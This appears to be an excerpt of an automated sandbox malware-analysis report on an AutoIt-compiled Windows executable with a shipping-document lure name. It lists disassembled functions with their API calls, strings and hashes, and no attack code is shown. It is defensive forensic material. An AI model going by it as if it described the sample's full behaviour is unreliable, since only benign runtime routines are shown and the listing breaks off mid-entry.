                                                • CreateWindowExW.USER32(00000000,static,?,50000000,?,00000037,00000500,00000032,00000000,00000000,00000000), ref: 00A1779B
                                                • GetStockObject.GDI32(00000011), ref: 00A177A6
                                                • SendMessageW.USER32(00000030,00000000,?,50000000), ref: 00A177B1
                                                • ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?,?,?,?), ref: 00A177BB
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
                                                • String ID: @U=u$AutoIt v3$DISPLAY$msctls_progress32$static
                                                • API String ID: 2910397461-2771358697
                                                • Opcode ID: 414ddaa54e77d95eb2377f1c2bbed21fb3f4077e64d1e67ea9b9404550df3e1a
                                                • Instruction ID: 439273260eaeec5a505224dd3a5d8cf34758f6fefb81ebb4c3ff7e1bc3d30649
                                                • Opcode Fuzzy Hash: 414ddaa54e77d95eb2377f1c2bbed21fb3f4077e64d1e67ea9b9404550df3e1a
                                                • Instruction Fuzzy Hash: 64A15F71A40615BFEB14DBB8DC4AFAF7BB9EB45710F004124FA15A72E0D6B0AD42CB64
                                                Function 00A2A8CA Relevance: 47.4, APIs: 26, Strings: 1, Instructions: 187windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetSysColor.USER32(00000012), ref: 00A2A903
                                                • SetTextColor.GDI32(?,?), ref: 00A2A907
                                                • GetSysColorBrush.USER32(0000000F), ref: 00A2A91D
                                                • GetSysColor.USER32(0000000F), ref: 00A2A928
                                                • CreateSolidBrush.GDI32(?), ref: 00A2A92D
                                                • GetSysColor.USER32(00000011), ref: 00A2A945
                                                • CreatePen.GDI32(00000000,00000001,00743C00), ref: 00A2A953
                                                • SelectObject.GDI32(?,00000000), ref: 00A2A964
                                                • SetBkColor.GDI32(?,00000000), ref: 00A2A96D
                                                • SelectObject.GDI32(?,?), ref: 00A2A97A
                                                • InflateRect.USER32(?,000000FF,000000FF), ref: 00A2A999
                                                • RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00A2A9B0
                                                • GetWindowLongW.USER32(00000000,000000F0), ref: 00A2A9C5
                                                • SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00A2A9ED
                                                • GetWindowTextW.USER32(00000000,00000000,00000001), ref: 00A2AA14
                                                • InflateRect.USER32(?,000000FD,000000FD), ref: 00A2AA32
                                                • DrawFocusRect.USER32(?,?), ref: 00A2AA3D
                                                • GetSysColor.USER32(00000011), ref: 00A2AA4B
                                                • SetTextColor.GDI32(?,00000000), ref: 00A2AA53
                                                • DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 00A2AA67
                                                • SelectObject.GDI32(?,00A2A5FA), ref: 00A2AA7E
                                                • DeleteObject.GDI32(?), ref: 00A2AA89
                                                • SelectObject.GDI32(?,?), ref: 00A2AA8F
                                                • DeleteObject.GDI32(?), ref: 00A2AA94
                                                • SetTextColor.GDI32(?,?), ref: 00A2AA9A
                                                • SetBkColor.GDI32(?,?), ref: 00A2AAA4
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
                                                • String ID: @U=u
                                                • API String ID: 1996641542-2594219639
                                                • Opcode ID: ec90e75bff684603c9340835c5c2492a85b1e5432f1e174a8c7eac3e4d7bb2c5
                                                • Instruction ID: b27f4847554789bc77cfd25c6645254385f529a370867c6974beab3fcc901e73
                                                • Opcode Fuzzy Hash: ec90e75bff684603c9340835c5c2492a85b1e5432f1e174a8c7eac3e4d7bb2c5
                                                • Instruction Fuzzy Hash: E3512C71900218EFDB21DFA8DC48EAE7B79EF48320F114635FA11AB2A1D7759942DF90
                                                Function 00A0AD10 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 186COMMON
                                                Download Yara Rule
                                                APIs
                                                • SetErrorMode.KERNEL32(00000001), ref: 00A0AD1E
                                                • GetDriveTypeW.KERNEL32(?,00A2FAC0,?,\\.\,00A2F910), ref: 00A0ADFB
                                                • SetErrorMode.KERNEL32(00000000,00A2FAC0,?,\\.\,00A2F910), ref: 00A0AF59
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ErrorMode$DriveType
                                                • String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
                                                • API String ID: 2907320926-4222207086
                                                • Opcode ID: 1b3fc1197d55833394e4dda05b6c729457d2228fcbb68a799da815fa5f6c62fb
                                                • Instruction ID: 6f01c70a216fa10362e1de8dbc9b5e56e41cd095cf6763863974b7471b106e8b
                                                • Opcode Fuzzy Hash: 1b3fc1197d55833394e4dda05b6c729457d2228fcbb68a799da815fa5f6c62fb
                                                • Instruction Fuzzy Hash: 8851B1B064430EBBCB00EB64E982DBD73B5FB69741B218866E807B72D1CA349D05DB42
                                                Function 00A29A1C Relevance: 44.2, APIs: 23, Strings: 2, Instructions: 455windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000103,?,?,?), ref: 00A29AD2
                                                • SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00A29B8B
                                                • SendMessageW.USER32(?,00001102,00000002,?), ref: 00A29BA7
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend$Window
                                                • String ID: 0$@U=u
                                                • API String ID: 2326795674-975001249
                                                • Opcode ID: 270b319e105d1879381b4bab3332ead778574694d02248ca69f8403fe9bf409c
                                                • Instruction ID: 7992cfd609d325e787806f5b0924d76402732ab303582c4badd9469c245c79e8
                                                • Opcode Fuzzy Hash: 270b319e105d1879381b4bab3332ead778574694d02248ca69f8403fe9bf409c
                                                • Instruction Fuzzy Hash: C302BB30108321AFD725CF28D948BABBBE5FF89B10F04853DF999962A1C774D945CB92
                                                Function 009A68DC Relevance: 44.0, APIs: 12, Strings: 13, Instructions: 275COMMON
                                                Download Yara Rule
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: __wcsnicmp
                                                • String ID: #OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
                                                • API String ID: 1038674560-86951937
                                                • Opcode ID: 1f8a2581afd08da06e743071cbb12cbd0243c7f6c3ad4bb3de9e883a409ead76
                                                • Instruction ID: d7de269941515a08fead33af7060f4d57c231feb1b98268106535f5eeb43e811
                                                • Opcode Fuzzy Hash: 1f8a2581afd08da06e743071cbb12cbd0243c7f6c3ad4bb3de9e883a409ead76
                                                • Instruction Fuzzy Hash: 1881D7B1740205BACB11BA64EC43FBB776CAF96700F088425F905AB196EB74DE45C6E1
                                                Function 00A289D5 Relevance: 40.7, APIs: 21, Strings: 2, Instructions: 401windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 00A28AC1
                                                • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00A28AD2
                                                • CharNextW.USER32(0000014E), ref: 00A28B01
                                                • SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00A28B42
                                                • SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00A28B58
                                                • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00A28B69
                                                • SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 00A28B86
                                                • SetWindowTextW.USER32(?,0000014E), ref: 00A28BD8
                                                • SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 00A28BEE
                                                • SendMessageW.USER32(?,00001002,00000000,?), ref: 00A28C1F
                                                • _memset.LIBCMT ref: 00A28C44
                                                • SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 00A28C8D
                                                • _memset.LIBCMT ref: 00A28CEC
                                                • SendMessageW.USER32(?,00001053,000000FF,?), ref: 00A28D16
                                                • SendMessageW.USER32(?,00001074,?,00000001), ref: 00A28D6E
                                                • SendMessageW.USER32(?,0000133D,?,?), ref: 00A28E1B
                                                • InvalidateRect.USER32(?,00000000,00000001), ref: 00A28E3D
                                                • GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00A28E87
                                                • SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00A28EB4
                                                • DrawMenuBar.USER32(?), ref: 00A28EC3
                                                • SetWindowTextW.USER32(?,0000014E), ref: 00A28EEB
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
                                                • String ID: 0$@U=u
                                                • API String ID: 1073566785-975001249
                                                • Opcode ID: d994270738f8800981e7ff060fff1df9171c7fa37a95da371f0f05ffd419cd75
                                                • Instruction ID: c505a23069c0065634352247de97fb22b94e01974be95d0f69f0cecc3530db15
                                                • Opcode Fuzzy Hash: d994270738f8800981e7ff060fff1df9171c7fa37a95da371f0f05ffd419cd75
                                                • Instruction Fuzzy Hash: 13E17170901228AFDB20DF68DC84EEE7B79EF05750F10817AF915AA190DF789985DF60
                                                Function 00A2488F Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetCursorPos.USER32(?), ref: 00A249CA
                                                • GetDesktopWindow.USER32 ref: 00A249DF
                                                • GetWindowRect.USER32(00000000), ref: 00A249E6
                                                • GetWindowLongW.USER32(?,000000F0), ref: 00A24A48
                                                • DestroyWindow.USER32(?), ref: 00A24A74
                                                • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00A24A9D
                                                • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00A24ABB
                                                • SendMessageW.USER32(?,00000439,00000000,00000030), ref: 00A24AE1
                                                • SendMessageW.USER32(?,00000421,?,?), ref: 00A24AF6
                                                • SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 00A24B09
                                                • IsWindowVisible.USER32(?), ref: 00A24B29
                                                • SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 00A24B44
                                                • SendMessageW.USER32(?,00000411,00000001,00000030), ref: 00A24B58
                                                • GetWindowRect.USER32(?,?), ref: 00A24B70
                                                • MonitorFromPoint.USER32(?,?,00000002), ref: 00A24B96
                                                • GetMonitorInfoW.USER32(00000000,?), ref: 00A24BB0
                                                • CopyRect.USER32(?,?), ref: 00A24BC7
                                                • SendMessageW.USER32(?,00000412,00000000), ref: 00A24C32
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
                                                • String ID: ($0$tooltips_class32
                                                • API String ID: 698492251-4156429822
                                                • Opcode ID: 3bc9e5e502853bc1230c4df535daad7f531c344585cdcaf404befc5aa29b1209
                                                • Instruction ID: 550b107053a4e3778198a79a7bf111fcffb9bc816602d89f46e223a54bdb1150
                                                • Opcode Fuzzy Hash: 3bc9e5e502853bc1230c4df535daad7f531c344585cdcaf404befc5aa29b1209
                                                • Instruction Fuzzy Hash: 55B18B70604350AFDB04DF68D848B6ABBE4FF89310F00892DF9999B2A1D771EC05CB95
                                                Function 00A0449A Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 179COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetFileVersionInfoSizeW.VERSION(?,?), ref: 00A044AC
                                                • GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 00A044D2
                                                • _wcscpy.LIBCMT ref: 00A04500
                                                • _wcscmp.LIBCMT ref: 00A0450B
                                                • _wcscat.LIBCMT ref: 00A04521
                                                • _wcsstr.LIBCMT ref: 00A0452C
                                                • VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 00A04548
                                                • _wcscat.LIBCMT ref: 00A04591
                                                • _wcscat.LIBCMT ref: 00A04598
                                                • _wcsncpy.LIBCMT ref: 00A045C3
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: _wcscat$FileInfoVersion$QuerySizeValue_wcscmp_wcscpy_wcsncpy_wcsstr
                                                • String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
                                                • API String ID: 699586101-1459072770
                                                • Opcode ID: d517d0d4cdc8e654707c035723ce8393673ba4645aa48e0b0b3173bdd9b1d65d
                                                • Instruction ID: 0d7fd0a238172646cb4f2b5b0a43b56c132deaa086eee1c9e5ca67723dc7f0d3
                                                • Opcode Fuzzy Hash: d517d0d4cdc8e654707c035723ce8393673ba4645aa48e0b0b3173bdd9b1d65d
                                                • Instruction Fuzzy Hash: 7041B471E40214BBDB10AB74AC47FBF777CEF85710F04446AFA05E61C2EA35AA0196A6
                                                Function 009A27D9 Relevance: 35.3, APIs: 18, Strings: 2, Instructions: 286windowtimeCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 009A28BC
                                                • GetSystemMetrics.USER32(00000007), ref: 009A28C4
                                                • SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 009A28EF
                                                • GetSystemMetrics.USER32(00000008), ref: 009A28F7
                                                • GetSystemMetrics.USER32(00000004), ref: 009A291C
                                                • SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 009A2939
                                                • AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 009A2949
                                                • CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 009A297C
                                                • SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 009A2990
                                                • GetClientRect.USER32(00000000,000000FF), ref: 009A29AE
                                                • GetStockObject.GDI32(00000011), ref: 009A29CA
                                                • SendMessageW.USER32(00000000,00000030,00000000), ref: 009A29D5
                                                  • Part of subcall function 009A2344: GetCursorPos.USER32(?), ref: 009A2357
                                                  • Part of subcall function 009A2344: ScreenToClient.USER32(00A657B0,?), ref: 009A2374
                                                  • Part of subcall function 009A2344: GetAsyncKeyState.USER32(00000001), ref: 009A2399
                                                  • Part of subcall function 009A2344: GetAsyncKeyState.USER32(00000002), ref: 009A23A7
                                                • SetTimer.USER32(00000000,00000000,00000028,009A1256), ref: 009A29FC
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
                                                • String ID: @U=u$AutoIt v3 GUI
                                                • API String ID: 1458621304-2077007950
                                                • Opcode ID: a91ca6e9c2e1c1238d0d62ee44a21e6946b52026cf7359c8d68cb1c255434c36
                                                • Instruction ID: 3bbbf646187811ead0cec618415ad5eeb6dfc9e109d9d9cd7cea363aad029b92
                                                • Opcode Fuzzy Hash: a91ca6e9c2e1c1238d0d62ee44a21e6946b52026cf7359c8d68cb1c255434c36
                                                • Instruction Fuzzy Hash: 6AB15F71A4020AEFDB24DFACDD45BAE7BB5FB48710F108139FA15A7290DB749852CB90
                                                Function 00A2BA33 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 130filecommemoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,00000000,?), ref: 00A2BA56
                                                • GetFileSize.KERNEL32(00000000,00000000), ref: 00A2BA6D
                                                • GlobalAlloc.KERNEL32(00000002,00000000), ref: 00A2BA78
                                                • CloseHandle.KERNEL32(00000000), ref: 00A2BA85
                                                • GlobalLock.KERNEL32(00000000), ref: 00A2BA8E
                                                • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00A2BA9D
                                                • GlobalUnlock.KERNEL32(00000000), ref: 00A2BAA6
                                                • CloseHandle.KERNEL32(00000000), ref: 00A2BAAD
                                                • CreateStreamOnHGlobal.OLE32(00000000,00000001,?), ref: 00A2BABE
                                                • OleLoadPicture.OLEAUT32(?,00000000,00000000,00A32CAC,?), ref: 00A2BAD7
                                                • GlobalFree.KERNEL32(00000000), ref: 00A2BAE7
                                                • GetObjectW.GDI32(?,00000018,000000FF), ref: 00A2BB0B
                                                • CopyImage.USER32(?,00000000,?,?,00002000), ref: 00A2BB36
                                                • DeleteObject.GDI32(00000000), ref: 00A2BB5E
                                                • SendMessageW.USER32(?,00000172,00000000,00000000), ref: 00A2BB74
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
                                                • String ID: @U=u
                                                • API String ID: 3840717409-2594219639
                                                • Opcode ID: 823437b7fdbeabeeb5c89be8f6813bf6039cfae1eef4ab4486e178d73b874f5f
                                                • Instruction ID: 9c320b1e779547aebe6924a93a57e3a169771cd2d28156f3c5e005031d3139f3
                                                • Opcode Fuzzy Hash: 823437b7fdbeabeeb5c89be8f6813bf6039cfae1eef4ab4486e178d73b874f5f
                                                • Instruction Fuzzy Hash: A841F775600214EFDB21DFA9EC88EAABBB8EB89711F104178F91597260D7709942DB60
                                                Function 009FA439 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 273windowtimeCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetClassNameW.USER32(?,?,00000100), ref: 009FA47A
                                                • __swprintf.LIBCMT ref: 009FA51B
                                                • _wcscmp.LIBCMT ref: 009FA52E
                                                • SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 009FA583
                                                • _wcscmp.LIBCMT ref: 009FA5BF
                                                • GetClassNameW.USER32(?,?,00000400), ref: 009FA5F6
                                                • GetDlgCtrlID.USER32(?), ref: 009FA648
                                                • GetWindowRect.USER32(?,?), ref: 009FA67E
                                                • GetParent.USER32(?), ref: 009FA69C
                                                • ScreenToClient.USER32(00000000), ref: 009FA6A3
                                                • GetClassNameW.USER32(?,?,00000100), ref: 009FA71D
                                                • _wcscmp.LIBCMT ref: 009FA731
                                                • GetWindowTextW.USER32(?,?,00000400), ref: 009FA757
                                                • _wcscmp.LIBCMT ref: 009FA76B
                                                  • Part of subcall function 009C362C: _iswctype.LIBCMT ref: 009C3634
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: _wcscmp$ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_iswctype
                                                • String ID: %s%u
                                                • API String ID: 3744389584-679674701
                                                • Opcode ID: 4d08b4ed58a48d0ca473f1976790f40119312d0e7ce76f847185870ef04f39bc
                                                • Instruction ID: 0a1f21f90469ac4cab22ca0bf68364f9c36f5bc88adc91bbaf3a1229d5cef874
                                                • Opcode Fuzzy Hash: 4d08b4ed58a48d0ca473f1976790f40119312d0e7ce76f847185870ef04f39bc
                                                • Instruction Fuzzy Hash: FBA190B160420AAFD714EE64C884FBAB7E8FB44354F008529FA9DD2160D734E956CB92
                                                Function 009FAED4 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetClassNameW.USER32(00000008,?,00000400), ref: 009FAF18
                                                • _wcscmp.LIBCMT ref: 009FAF29
                                                • GetWindowTextW.USER32(00000001,?,00000400), ref: 009FAF51
                                                • CharUpperBuffW.USER32(?,00000000), ref: 009FAF6E
                                                • _wcscmp.LIBCMT ref: 009FAF8C
                                                • _wcsstr.LIBCMT ref: 009FAF9D
                                                • GetClassNameW.USER32(00000018,?,00000400), ref: 009FAFD5
                                                • _wcscmp.LIBCMT ref: 009FAFE5
                                                • GetWindowTextW.USER32(00000002,?,00000400), ref: 009FB00C
                                                • GetClassNameW.USER32(00000018,?,00000400), ref: 009FB055
                                                • _wcscmp.LIBCMT ref: 009FB065
                                                • GetClassNameW.USER32(00000010,?,00000400), ref: 009FB08D
                                                • GetWindowRect.USER32(00000004,?), ref: 009FB0F6
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
